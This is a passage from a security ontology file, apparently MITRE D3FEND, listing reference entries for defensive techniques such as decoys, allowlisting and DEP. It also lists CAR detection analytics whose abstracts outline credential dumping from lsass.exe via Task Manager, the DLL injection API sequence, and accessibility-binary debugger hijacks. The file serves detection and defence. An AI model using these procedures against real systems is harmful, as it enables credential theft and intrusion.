Published in: European Convention on Security and Detection, 1995.""" ;
    d3f:kb-author "S.J. Shepherd" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Bradford Univ., UK" ;
    d3f:kb-reference-of d3f:InputDeviceAnalysis ;
    d3f:kb-reference-title "Continuous authentication by analysis of keyboard typing characteristics" .

d3f:Reference-CredentialDumpingViaMimikatz_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2019-04-004: Credential Dumping via Mimikatz - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2019-04-004/"^^xsd:anyURI ;
    d3f:kb-abstract "Credential dumpers like Mimikatz can be loaded into memory and from there read data from another processes. This analytic looks for instances where processes are requesting specific permissions to read parts of the LSASS process in order to detect when credential dumping is occurring. One weakness is that all current implementations are \"overtuned\" to look for common access patterns used by Mimikatz." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2019-04-004: Credential Dumping via Mimikatz" .

d3f:Reference-CredentialDumpingViaWindowsTaskManager_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2019-08-001: Credential Dumping via Windows Task Manager - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2019-08-001/"^^xsd:anyURI ;
    d3f:kb-abstract """The Windows Task Manager may be used to dump the memory space of lsass.exe to disk for processing with a credential access tool such as Mimikatz. This is performed by launching Task Manager as a privileged user, selecting lsass.exe, and clicking "Create dump file". This saves a dump file to disk with a deterministic name that includes the name of the process being dumped.

This requires filesystem data to determine whether files have been created.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:SystemCallAnalysis ;
    d3f:kb-reference-title "CAR-2019-08-001: Credential Dumping via Windows Task Manager" .

d3f:Reference-CyberCommandSystemCYCS a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Cyber Command System (CYCS)" ;
    d3f:has-link "https://www.mitre.org/research/technology-transfer/technology-licensing/cyber-command-system-cycs"^^xsd:anyURI ;
    d3f:kb-abstract "MITRE’s Cyber Command System (CyCS) tool addresses the objective of improved mission assurance in cyberspace by enabling the mapping of mission operations to the network operations that support those missions. This tool provides mission-impact assessment through situational awareness and impact analysis. CyCS addresses mission-assurance challenges for highly distributed enterprise systems of systems through vulnerability, threat, and consequence management." ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:OperationalDependencyMapping ;
    d3f:kb-reference-title "Cyber Command System (CYCS)" .

d3f:Reference-CyberVaccineAndPredictiveMalwareDefensiveMethodsAndSystems a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Cyber vaccine and predictive-malware-defense methods and systems" ;
    d3f:has-link "https://patents.google.com/patent/US10848519B2/"^^xsd:anyURI ;
    d3f:kb-abstract "Methods and systems for Predictive Malware Defense (PMD) are described. The systems and methods can utilize advanced machine-learning (ML) techniques to generate malware defenses preemptively. Embodiments of PMD can utilize models, which are trained on features extracted from malware families, to predict possible courses of malware evolution. PMD captures these predicted future evolutions in signatures of as yet unseen malware variants to function as a malware vaccine. These signatures of predicted future malware “evolutions” can be added to the training set of a machine-learning (ML) based malware detection and/or mitigation system so that it can detect these new variants as they arrive." ;
    d3f:kb-author "Michael Howard, Avi Pfeifer, Mukesh Dalal, Michael Reposa" ;
    d3f:kb-organization "Charles River Analytics Inc." ;
    d3f:kb-reference-of d3f:FileContentAnalysis ;
    d3f:kb-reference-title "Cyber vaccine and predictive-malware-defense methods and systems" .

d3f:Reference-DHS-CCTV-Technology-Handbook a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - DHS CCTV Technology Handbook" ;
    d3f:has-link "https://www.dhs.gov/sites/default/files/publications/CCTV-Tech-HBK_0713-508.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "A publicly available handbook describing CCTV technologies, components, and considerations for deployment." ;
    d3f:kb-author "U.S. Department of Homeland Security" ;
    d3f:kb-reference-of d3f:VideoSurveillance ;
    d3f:kb-reference-title "CCTV Technology Handbook" .

d3f:Reference-DLLInjectionViaLoadLibrary_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2013-10-002: DLL Injection via Load Library - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2013-10-002/"^^xsd:anyURI ;
    d3f:kb-abstract """Microsoft Windows allows for processes to remotely create threads within other processes of the same privilege level. This functionality is provided via the Windows API CreateRemoteThread. Both Windows and third-party software use this ability for legitimate purposes. For example, the Windows process csrss.exe creates threads in programs to send signals to registered callback routines. Both adversaries and host-based security software use this functionality to inject DLLs, but for very different purposes. An adversary is likely to inject into a program to evade defenses or bypass User Account Control, but a security program might do this to gain increased monitoring of API calls. One of the most common methods of DLL Injection is through the Windows API LoadLibrary.

Allocate memory in the target program with VirtualAllocEx
Write the name of the DLL to inject into this program with WriteProcessMemory
Create a new thread and set its entry point to LoadLibrary using the API CreateRemoteThread.
This behavior can be detected by looking for thread creations across processes, and resolving the entry point to determine the function name. If the function is LoadLibraryA or LoadLibraryW, then the intent of the remote thread is clearly to inject a DLL. When this is the case, the source process must be examined so that it can be ignored when it is both expected and a trusted process.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:SystemCallAnalysis ;
    d3f:kb-reference-title "CAR-2013-10-002: DLL Injection via Load Library" .

d3f:Reference-DNSWhitelist-DNSWL-EmailAuthenticationMethodExtension a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - DNS Whitelist (DNSWL) Email Authentication Method Extension" ;
    d3f:has-link "https://datatracker.ietf.org/doc/html/rfc8904"^^xsd:anyURI ;
    d3f:kb-reference-of d3f:DNSAllowlisting ;
    d3f:kb-reference-title "DNS Whitelist (DNSWL) Email Authentication Method Extension" .

d3f:Reference-DYNAMICBASE_UseAddressSpaceLayoutRandomization_MicrosoftDocs a d3f:UserManualReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - /DYNAMICBASE (Use address space layout randomization) - Microsoft Docs" ;
    d3f:has-link "https://docs.microsoft.com/en-us/cpp/build/reference/dynamicbase-use-address-space-layout-randomization?view=vs-2019"^^xsd:anyURI ;
    d3f:kb-author "Microsoft" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Microsoft" ;
    d3f:kb-reference-of d3f:SegmentAddressOffsetRandomization ;
    d3f:kb-reference-title "/DYNAMICBASE (Use address space layout randomization)" .

d3f:Reference-DaggerFactSheet a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Dagger Fact Sheet" ;
    d3f:has-link "https://www.jhuapl.edu/dagger/documents/DaggerFactSheet.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "Dagger is a modeling and visualization tool suite that shows how system failures impact mission status. Updated with manual or real-time status, Dagger is used for mission/system planning, situational awareness during mission execution, and course-of-action analysis." ;
    d3f:kb-author "Jackie Soenneker" ;
    d3f:kb-organization "JHU APL" ;
    d3f:kb-reference-of d3f:OperationalDependencyMapping ;
    d3f:kb-reference-title "Dagger Fact Sheet" .

d3f:Reference-DaggerModelingAndVisualizationForMissionImpactSituationalAwareness a d3f:AcademicPaperReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Dagger: Modeling and visualization for mission impact situational awareness" ;
    d3f:has-link "https://ieeexplore.ieee.org/document/7795296"^^xsd:anyURI ;
    d3f:kb-abstract "Dagger is a modeling and visualization framework that addresses the challenge of representing knowledge and information for decision-makers, enabling them to better comprehend the operational context of network security data. It allows users to answer critical questions such as “Given that I care about mission X, is there any reason I should be worried about what is going on in cyberspace?” or “If this system fails, will I still be able to accomplish my mission?”." ;
    d3f:kb-author "Elisha Peterson" ;
    d3f:kb-organization "JHU APL" ;
    d3f:kb-reference-of d3f:OperationalDependencyMapping ;
    d3f:kb-reference-title "Dagger: Modeling and visualization for mission impact situational awareness" .

d3f:Reference-DataExecutionPrevention_Microsoft a d3f:UserManualReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Mitigate threats by using Windows 10 security features: Data Execution Prevention - Microsoft" ;
    d3f:has-link "https://docs.microsoft.com/en-us/windows/security/threat-protection/overview-of-threat-mitigations-in-windows-10#data-execution-prevention"^^xsd:anyURI ;
    d3f:kb-abstract """Malware depends on its ability to insert a malicious payload into memory with the hope that it will be executed later. Wouldn't it be great if you could prevent malware from running if it wrote to an area that has been allocated solely for the storage of information?

Data Execution Prevention (DEP) does exactly that, by substantially reducing the range of memory that malicious code can use for its benefit. DEP uses the No eXecute bit on modern CPUs to mark blocks of memory as read-only so that those blocks can't be used to execute malicious code that may be inserted by means of a vulnerability exploit.""" ;
    d3f:kb-author "Nick Schonning, Daniel Simpson, Marty Hernandez Avedon, Trond B. Krokli, jreeds, jcaparas, Andres Mariano Gorzelany, Tina Burden, Thomas Raya, Justin Hall, justanotheranonymoususer, Liza Poggemeyer, Dani Halfin, imba-tjd (Authors for entire page)" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Microsoft" ;
    d3f:kb-reference-of d3f:ProcessSegmentExecutionPrevention ;
    d3f:kb-reference-title "Mitigate threats by using Windows 10 security features: Data Execution Prevention" .

d3f:Reference-DataProcessingAndScanningSystemsForGeneratingAndPopulatingADataInventory a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Data processing and scanning systems for generating and populating a data inventory" ;
    d3f:has-link "https://patents.google.com/patent/US11240273B2/"^^xsd:anyURI ;
    d3f:kb-abstract "In particular embodiments, a data processing data inventory generation system is configured to: (1) generate a data model (e.g., a data inventory) for one or more data assets utilized by a particular organization; (2) generate a respective data inventory for each of the one or more data assets; and (3) map one or more relationships between one or more aspects of the data inventory, the one or more data assets, etc. within the data model. In particular embodiments, a data asset (e.g., data system, software application, etc.) may include, for example, any entity that collects, processes, contains, and/or transfers personal data (e.g., such as a software application, “internet of things” computerized device, database, website, data-center, server, etc.). The system may be configured to identify particular data assets and/or personal data in data repositories using any suitable intelligent identity scanning technique." ;
    d3f:kb-author "Kabir A. Barday, Mihir S. Karanjkar, Steven W. Finch, Ken A. Browne, Nathan W. Heard, Aakash H. Patel, Jason L. Sabourin, Richard L. Daniel, Dylan D. Patton-Kuhl, Jonathan Blake Brannon" ;
    d3f:kb-organization "OneTrust LLC" ;
    d3f:kb-reference-of d3f:DataInventory ;
    d3f:kb-reference-title "Data processing and scanning systems for generating and populating a data inventory" .

d3f:Reference-DeadCodeElimination a d3f:AcademicPaperReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Dead code elimination" ;
    d3f:has-link "https://nebelwelt.net/files/15LangSec.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "There is a significant body of work devoted to testing, verifying, and certifying the correctness of optimizing compilers. The focus of such work is to determine if source code and optimized code have the same functional semantics. In this paper, we introduce the correctness-security gap, which arises when a compiler optimization preserves the functionality of but violates a security guarantee made by source code. We show with concrete code examples that several standard optimizations, which have been formally proved correct, inhabit this correctness-security gap. We analyze this gap and conclude that it arises due to techniques that model the state of the program but not the state of the underlying machine. We propose a broad research program whose goal is to identify, understand, and mitigate the impact of security errors introduced by compiler optimizations. Our proposal includes research in testing, program analysis, theorem proving, and the development of new, accurate machine models for reasoning about the impact of compiler optimizations on security." ;
    d3f:kb-author "Vijay D'Silva, Mathias Payer, Dawn Song" ;
    d3f:kb-organization "Google Inc, Purdue University, UC Berkeley" ;
    d3f:kb-reference-of d3f:DeadCodeElimination ;
    d3f:kb-reference-title "The Correctness-Security Gap in Compiler Optimization" .

d3f:Reference-DebuggersForAccessibilityApplications_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2014-11-003: Debuggers for Accessibility Applications - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2014-11-006/"^^xsd:anyURI ;
    d3f:kb-abstract """The Windows Registry location HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options allows for parameters to be set for applications during execution. One feature used by malicious actors is the "Debugger" option. When a key has this value enabled, a Debugging command line can be specified. Windows will launch the Debugging command line, and pass the original command line in as an argument. Adversaries can set a Debugger for Accessibility Applications. The analytic looks for the original command line as an argument to the Debugger. When the strings "sethc.exe", "utilman.exe", "osk.exe", "narrator.exe", and "Magnify.exe" are detected in the arguments, but not as the main executable, it is very likely that a Debugger is set.

This analytic could depend on the possibility of the known strings used as arguments for other applications used in the day-to-day environment. Although the chance of the string "sethc.exe" being used as an argument for another application is unlikely, it still is a possibility.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessLineageAnalysis ;
    d3f:kb-reference-title "CAR-2014-11-003: Debuggers for Accessibility Applications" .

d3f:Reference-Deception-BasedResponsesToSecurityAttacks_CrowdstrikeInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Deception-Based Responses to Security Attacks - Crowdstrike Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20140250524A1/en?oq=US-2014250524-A1"^^xsd:anyURI ;
    d3f:kb-abstract "Deception-based techniques for responding to security attacks are described herein. The techniques include transitioning a security attack to a monitored computing device posing as a computing device impacted by the security attack and enabling the adversary to obtain deceptive information from the monitored computing device. Also, the adversary may obtain a document configured to report identifying information of an entity opening the document, thereby identifying the adversary associated with the attack. Further, the techniques include determining that a domain specified in a domain name request is associated with malicious activity and responding to the request with a network address of a monitored computing device to cause the requesting process to communicate with the monitored computing device in place of an adversary server. Additionally, a service may monitor dormant domains names associated with malicious activity and, in response to a change, respond with an alert or a configuration update." ;
    d3f:kb-author "Adam S. Meyers; Dmitri Alperovitch; George Robert Kurtz; David F. Diehl; Sven Krasser" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Crowdstrike Inc" ;
    d3f:kb-reference-of d3f:DecoyNetworkResource ;
    d3f:kb-reference-title "Deception-Based Responses to Security Attacks" .

<http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-DecoyAndDeceptiveDataObjectTechnology_Cymmetria,Inc.> a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Decoy and deceptive data object technology - Cymmetria, Inc." ;
    d3f:has-link "https://patents.google.com/patent/US20170134423A1"^^xsd:anyURI ;
    d3f:kb-abstract """A computer implemented method of detecting unauthorized access to a protected network by monitoring a dynamically updated deception environment, comprising launching, on one or more decoy endpoints, one or more decoy operating system (OS) managing one or more of a plurality of deception applications mapping a plurality of applications executed in a protected network, updating dynamically a usage indication for a plurality of deception data objects deployed in the protected network to emulate usage of the plurality of deception data objects for accessing the deception application(s) wherein the plurality of deception data objects are configured to trigger an interaction with the deception application(s) when used, detecting usage of data contained in the deception data object(s) by monitoring the interaction and identifying one or more potential unauthorized operations based on analysis of the detection.

In order to convince the potential attacker that the deception environment is the real (valid) processing environment and/or part thereof, the campaign manager may construct the false identity according to the public information of the certain user that may typically be available to the potential attacker. By exposing the real (public) information of the certain user to the potential attacker, the false identity may seem consistent and legitimate to the potential attacker. For example, the campaign manager may create a false account, for example, a Facebook account of the certain user that includes the same public information that is publicly available to other Facebook users from the real (genuine) Facebook account of the certain user. The fake company account may include information specific to the role and/or job title of certain user within the company, for example, a programmer, an accountant, an IT person and/or the like.""" ;
    d3f:kb-author "Dean Sysman, Gadi Evron, Imri Goldberg, Itamar Sher, Shmuel Ur" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Cymmetria, Inc." ;
    d3f:kb-reference-of d3f:DecoyPersona ;
    d3f:kb-reference-title "Decoy and deceptive data object technology" .

d3f:Reference-DecoyNetwork-BasedServiceForDeceivingAttackers-AmazonTechnologies a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Decoy Network-Based Service for Deceiving Attackers - Amazon Technologies" ;
    d3f:has-link "https://patents.google.com/patent/US10873601B1"^^xsd:anyURI ;
    d3f:kb-abstract "A decoy network-based service uses a decoy credential to lure an attacker to access the decoy network-based service, and monitors the attacker's activity with respect to the decoy network-based service to determine the attacker's motivation. In various examples, a decoy credential is published on an Internet-accessible site, and a system that provides a network-based service (e.g., a service provider network) subsequently receives an access request from a computing device that includes the decoy credential. Based on the decoy credential, the computing device may be provided access to a decoy network-based service, and application programming interface (API) calls made by the computing device may be routed through a decoy control plane. The data relating to the API calls may be stored and analyzed to determine a motivation of the attacker, which may be used in various downstream applications to improve security for customers of the network-based service." ;
    d3f:kb-author "Thomas Stickle" ;
    d3f:kb-mitre-analysis "MITRE analysis was not found." ;
    d3f:kb-organization "Amazon Technologies" ;
    d3f:kb-reference-of d3f:DecoyUserCredential ;
    d3f:kb-reference-title "Decoy network-based service for deceiving attackers" .

d3f:Reference-DecoyPersonasForSafeguardingOnlineIdentityUsingDeception_ a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Decoy Personas for Safeguarding Online Identity Using Deception - MITRE" ;
    d3f:has-link "https://web.archive.org/web/20180407204216/https://isc.sans.edu/diary/Decoy+Personas+for+Safeguarding+Online+Identity+Using+Deception/16159"^^xsd:anyURI ;
    d3f:kb-abstract """What if online scammers weren't sure whether the user account they are targeting is really yours, or whether the information they compiled about you is real? It's worth considering whether decoy online personas might help in the quest to safeguard our digital identities and data.

I believe deception tactics, such as selective and careful use of honeypots, holds promise for defending enterprise IT resources. Some forms of deception could also protect individuals against online scammers and other attackers. This approach might not be quite practical today for most people, but in the future we might find it both necessary and achievable.

Human attackers and malicious software pursue user accounts and data on-line through harvesting, phishing, password-guessing, software vulnerabilities, and various other means. How might we use decoys to confuse, misdirect, slow down and detect adversaries engaged in such activities?

...

The wealth of personal details available on social networking sites allows attackers to target individuals using social engineering, secret question-guessing and other techniques. For some examples of such approaches, see The Use of Fake or Fraudulent LinkedIn Profiles and Data Mining Resumes for Computer Attack Reconnaissance.

Setting up one or more fake social network profiles (e.g., on Facebook) that use the person's real name can help the individual deflect the attack or can act as an early warning of an impending attack. A decoy profile could purposefully expose some inaccurate information, while the person's real profile would be more carefully concealed using the site's privacy settings. Decoy profiles would be associated with spamtrap email addresses.

Similarly, the person could expose decoy profiles on other sites, for instance those reveal shopping habits (e.g., Amazon), musings (e.g., Twitter), skills (e.g., GitHub), travel (e.g., TripIt), affections (e.g., Pinterest), music taste (e.g., Pandora) and so on. The person's decoy identities could also have fake resumes available on sites such as Indeed and Monster.com.""" ;
    d3f:kb-author "Lenny Zeltser" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "SANS" ;
    d3f:kb-reference-of d3f:DecoyPersona ;
    d3f:kb-reference-title "Decoy Personas for Safeguarding Online Identity Using Deception" .

d3f:Reference-DetectingDDoSAttackUsingSnort a d3f:AcademicPaperReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Detecting DDoS Attack Using Snort" ;
    d3f:has-link "https://www.researchgate.net/publication/338660054_DETECTING_DDoS_ATTACK_USING_Snort"^^xsd:anyURI ;
    d3f:kb-abstract "A DDoS (Distributed Denial-of-Service) attack is very common and easy toexecute and does not require any sophisticated tools. It can happen to anyone. In this project we deploy snort in our home network as a NIDS (Network Intrusion Detection System) to detect a DDoS attack and prevent it." ;
    d3f:kb-author "Manas Gogoi, Sourav Mishra" ;
    d3f:kb-organization "Indian Institute of Information Technology Allahabad" ;
    d3f:kb-reference-of d3f:InboundSessionVolumeAnalysis ;
    d3f:kb-reference-title "DETECTING DDoS ATTACK USING Snort" .

d3f:Reference-DetectingNetworkReconnaissanceByTrackingIntranetDark-netCommunications_VECTRANETWORKSInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Detecting network reconnaissance by tracking intranet dark-net communications - VECTRA NETWORKS Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20150264078A1"^^xsd:anyURI ;
    d3f:kb-abstract "A method and system for detecting network reconnaissance is disclosed wherein network traffic can be parsed into unidirectional flows that correspond to sessions. A learning module may categorize computing entities inside the network into assets and generate asset data to monitor the computing entities. If one or more computing entities address a flow to an address of a host that no longer exists, ghost asset data may be recorded and updated in the asset data. When a computing entity inside the network contacts an object in the dark-net, the computing entity may be recorded a potential mapper. When the computing entity tries to contact a number of objects in the dark-net, such that a computed threshold is exceeded, the computing entity is identified a malicious entity performing network reconnaissance." ;
    d3f:kb-author "Nicolas BEAUCHESNE; Sungwook Yoon" ;
    d3f:kb-mitre-analysis "This patent describes detecting an attacker performing internal reconnaissance within an organization's network to gather intelligence about the configuration of the network or identify the next target.  Network packets are collected (ex. tapped from a network switch) and processed to create flows that are used to map out the network to identify network assets as well as ghost assets (addresses not assigned to a device or an existing device that is temporarily disabled). Once this mapping is complete it is used to monitor the network to determine if an attacker is attempting to connect to a ghost asset. If an attacker attempts to connect to a ghost asset over a threshold (ex. contacting four ghost assets in less than seven minutes), an alert is generated." ;
    d3f:kb-organization "VECTRA NETWORKS Inc" ;
    d3f:kb-reference-of d3f:ConnectionAttemptAnalysis ;
    d3f:kb-reference-title "Detecting network reconnaissance by tracking intranet dark-net communications" .

d3f:Reference-DetectionOfMaliciousIDNHomoglyphDomains a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Detection of Malicious IDNHomoglyph Domains" ;
    d3f:has-link "http://essay.utwente.nl/79263/1/Yazdani_MA_EEMCS.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "At early stages of Internet development, users were only able to register or access domains with ASCII characters. The introduction of IDN (Internationalized Domain Name) which uses the larger Unicode character set, made it possible for regional users to deal with domain names using their local language alphabet. Beside the advantages provided by IDN, a new type of network threats has also emerged. The reason behind this is that there are many similar-looking characters in Unicode system, called homoglyphs. These characters could be used by an attacker to lure users by replacing one or more characters of a benign domain." ;
    d3f:kb-author "Ramin Yazdani" ;
    d3f:kb-organization "University of Twente" ;
    d3f:kb-reference-of d3f:HomoglyphDenylisting ;
    d3f:kb-reference-title "Detection of Malicious IDN Homoglyph Domains Using Active DNS Measurements" .

d3f:Reference-DeterministicMethodForDetectingAndBlockingOfExploitsOnInterpretedCode_K2CyberSecurityInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Deterministic method for detecting and blocking of exploits on interpreted code - K2 Cyber Security Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20190180036A1/en?oq=US-2019180036-A1"^^xsd:anyURI ;
    d3f:kb-abstract "In one aspect, a method useful for preventing exploitation of a vulnerability in an interpreted code by monitoring and validating an execution of the interpreted code in a script file by an application server, includes the step of generating a mapping for an incoming network connection to a specified script file to be executed by an application server. The computerized method includes the step of inserting a hook for monitoring an application programming interface (API) call or a privileged instruction executed by the application server. The computerized method includes the step of inserting a validation code configured to validate the API call or the privileged instruction executed by the interpreted code in a script." ;
    d3f:kb-author "Jayant Shukla" ;
    d3f:kb-mitre-analysis "This patent describes a technique for monitoring API calls. During execution of interpreted code the observed API calls are validated against a whitelist of API calls for that interpreted code file. Action is taken if the observed API call is not in accordance with the list." ;
    d3f:kb-organization "K2 Cyber Security Inc" ;
    d3f:kb-reference-of d3f:SystemCallAnalysis ;
    d3f:kb-reference-title "Deterministic method for detecting and blocking of exploits on interpreted code" .

d3f:Reference-DistributedMeta-informationQueryInANetwork_Bit9Inc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Distributed meta-information query in a network - Bit 9 Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20070028302A1/en?oq=US-2007028302-A1"^^xsd:anyURI ;
    d3f:kb-abstract "A security system provides a defense from known and unknown viruses, worms, spyware, hackers, and social engineering attacks. The system can implement centralized policies that allow an administrator to approve, block, quarantine, and log file activities. A server associated with a number of hosts can provide a query for host computers to access security-related meta-information in local host stores. The query is pulled from the server by the hosts. The results of the distributed host query are stored and merged on the server, and exported for display, reports, or security response." ;
    d3f:kb-author "Todd Brennan; John Hanratty" ;
    d3f:kb-mitre-analysis """Provides a mechanism to detect, monitor, locate, and control files installed on host computers. Each host has a host agent that analyzes file system activity and takes action based on policies configured on a server. The policies identify whether to block, log, allow, or quarantine actions such as file accesses and execution of executables. Examples of policies include:

* Block/log execution of new executables and detached scripts (e.g., .exe or .bat)
* Block/log reading/execution of new embedded content (e.g., macros in .doc)
* Block/log installation/modification of Web content (alteration of content in .html or .cgi files)
* Block/log execution of new files in an administratively defined 'class'; e.g., an administrator might want to block screen savers .scr, but not the entire class of executables .exe, .dll, .sys, etc . . .""" ;
    d3f:kb-organization "Bit 9 Inc" ;
    d3f:kb-reference-of d3f:FileContentRules ;
    d3f:kb-reference-title "Distributed meta-information query in a network" .

d3f:Reference-DomainAgeRegistrationAlert_IncRapid7IncRAPID7Inc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Domain age registration alert - Inc Rapid7 Inc RAPID7 Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20170026400A1/"^^xsd:anyURI ;
    d3f:kb-abstract "Systems and methods of identifying a security risk by monitoring and generating alerts based on attempts to access web domains that have been registered within a short period of time and are therefore identified as \"high-risk,\" including identifying an attempt to access a domain; receiving a registration date of the domain; and detecting a security risk based on the registration date of the domain." ;
    d3f:kb-author "Samuel Adams; H D. Moore" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Rapid7 Inc." ;
    d3f:kb-reference-of d3f:DNSTrafficAnalysis ;
    d3f:kb-reference-title "Domain age registration alert" .

d3f:Reference-End-to-endCertificatePinning a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - End-to-end certificate pinning" ;
    d3f:has-link "https://patents.google.com/patent/US9847992B2/en?q=certificate+pinning&oq=certificate+pinning"^^xsd:anyURI ;
    d3f:kb-abstract "Some embodiments implement end-to-end certificate pinning for content intake from various content providers and for content distribution to various end users. To ensure secure retrieval of content provider content, the content distributor pins the content provider to one or more certificate authorities." ;
    d3f:kb-author "Tin Zaw, Reed Morrison, Robert J. Peters" ;
    d3f:kb-organization "Verizon Digital Media Services Inc" ;
    d3f:kb-reference-of d3f:CertificatePinning ;
    d3f:kb-reference-title "End-to-end Certificate Pinning" .

d3f:Reference-EnhancingNetworkSecurityByPreventingUser-InitiatedMalwareExecution_ a d3f:AcademicPaperReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Enhancing Network Security By Preventing User-Initiated Malware Execution - MITRE" ;
    d3f:has-link "https://ieeexplore.ieee.org/document/1425209"^^xsd:anyURI ;
    d3f:kb-abstract "In this paper, we describe characteristics of the most widely used defense techniques for the blocking of user-initiated malware and why these techniques are insufficient. We then introduce a module verification strategy that will eliminate, or at least severely reduce, this problem by extending the classic \"defense in depth\" network security strategy. We then describe how the augmentation of a standard operating system loader to include references to a database of cryptographic hashes of module executables can be used to implement this strategy. Finally, we describe our efforts towards the creation of a prototype system that implements the module verification strategy." ;
    d3f:kb-author "John V. Harrison" ;
    d3f:kb-mitre-analysis "This paper describes application whitelisting. New software executable code is compared to a database of allowed software to determine if the new executable code should be loaded and executed. A database of cryptographic hashes is first created for all allowed software executables. Prior to loading any new executable code, a hash is computed and compared against the hash database. If the hash for the new code does not appear in the database, the executable is not loaded and executed." ;
    d3f:kb-organization "" ;
    d3f:kb-reference-of d3f:ExecutableAllowlisting ;
    d3f:kb-reference-title "Enhancing Network Security By Preventing User-Initiated Malware Execution" .

d3f:Reference-Entrust-What-Is-Token-Based-Authentication a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Identity Providers: What is Token Based Authentication" ;
    d3f:has-link "https://www.entrust.com/resources/learn/what-is-token-based-authentication"^^xsd:anyURI ;
    d3f:kb-abstract "Token-based authentication is an authentication protocol where users verify their identity in exchange for a unique access token. Users can then access the website, application, or resource for the life of the token without having to re-enter their credentials." ;
    d3f:kb-organization "Entrust" ;
    d3f:kb-reference-of d3f:Token-basedAuthentication ;
    d3f:kb-reference-title "Identity Providers: What is Token Based Authentication" .

d3f:Reference-ExecutionWithAT_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2013-05-004: Execution with AT - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2013-05-004/"^^xsd:anyURI ;
    d3f:kb-abstract "In order to gain persistence, privilege escalation, or remote execution, an adversary may use the Windows built-in command AT (at.exe) to schedule a command to be run at a specified time, date, and even host. This method has been used by adversaries and administrators alike. Its use may lead to detection of compromised hosts and compromised users if it is used to move laterally. The built-in Windows tool schtasks.exe (CAR-2013-08-001) offers greater flexibility when creating, modifying, and enumerating tasks. For these reasons, schtasks.exe is more commonly used by administrators, tools/scripts, and power users." ;
    d3f:kb-author "" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "" ;
    d3f:kb-reference-of d3f:ScheduledJobAnalysis ;
    d3f:kb-reference-title "CAR-2013-05-004: Execution with AT" .

d3f:Reference-ExecutionWithSchtasks_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2013-08-001: Execution with schtasks - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2013-08-001/"^^xsd:anyURI ;
